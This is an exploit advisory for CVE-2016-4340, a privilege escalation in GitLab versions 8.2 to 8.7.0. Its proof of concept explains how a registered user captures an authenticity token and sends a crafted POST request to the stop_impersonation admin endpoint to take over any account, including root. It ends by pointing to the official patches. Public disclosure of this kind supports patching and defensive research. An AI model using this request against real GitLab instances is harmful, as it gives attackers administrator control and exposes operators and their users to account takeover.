# Exploit Title: GitLab privilege escalation via "impersonate" feature
# Date: 02-05-2016
# Software Link: https://about.gitlab.com/
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
# Exploit Author: Kaimi
# Website: https://kaimi.ru
# CVE: CVE-2016-4340
# Category: webapps
  
1. Description
    
Any registered user can "log in" as any other user, including administrators.
  
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/
  
    
2. Proof of Concept
  
Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).
 
Craft request using this as template:
  
POST /admin/users/stop_impersonation?id=root
. . .
 
_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D
 
Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.
 
    
3. Solution:
 
Use officialy provided solutions:
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/